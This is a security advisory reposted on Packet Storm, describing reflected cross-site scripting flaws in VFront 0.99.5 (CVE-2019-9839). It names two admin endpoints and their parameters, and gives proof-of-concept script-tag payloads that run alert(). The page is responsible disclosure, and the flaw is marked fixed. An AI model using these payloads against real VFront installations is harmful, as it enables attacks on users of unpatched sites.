exploit the possibilities

VFront 0.99.5 Reflective Cross Site Scripting

VFront 0.99.5 Reflective Cross Site Scripting
Posted May 28, 2019
Authored by Omer Citak | Site netsparker.com

VFront version 0.99.5 suffers from multiple reflective cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2019-9839
MD5 | f970efbd5aa94dff43c2c6b31972253c

VFront 0.99.5 Reflective Cross Site Scripting

Change Mirror Download
Multiple Reflected Cross-site Scripting Vulnerabilities in VFront 0.99.5

Information
--------------------

Advisory by Netsparker
Name: Multiple Reflected Cross-site Scripting in VFront 0.99.5
Affected Software: VFront
Affected Versions: 0.99.5
Homepage: http://www.vfront.org/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2019-9839
CVSS Score (3.0): 7.4 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-002

Technical Details
--------------------

URL: http://{domain}/{vfront_path}/admin/menu_registri.php
Parameter Name: descrizione_g
Parameter Type: POST
Attack Pattern: <scRipt>alert(0x00938D)</scRipt>

URL: http://{domain}/{vfront_path}/admin/sync_reg_tab.php?azzera=
Parameter Name: azzera
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0067C2)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

5th April 2019 - First Contact
16th May 2019 - Vendor Fixed
28th May 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omer Citak while testing the Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.

Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    29 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close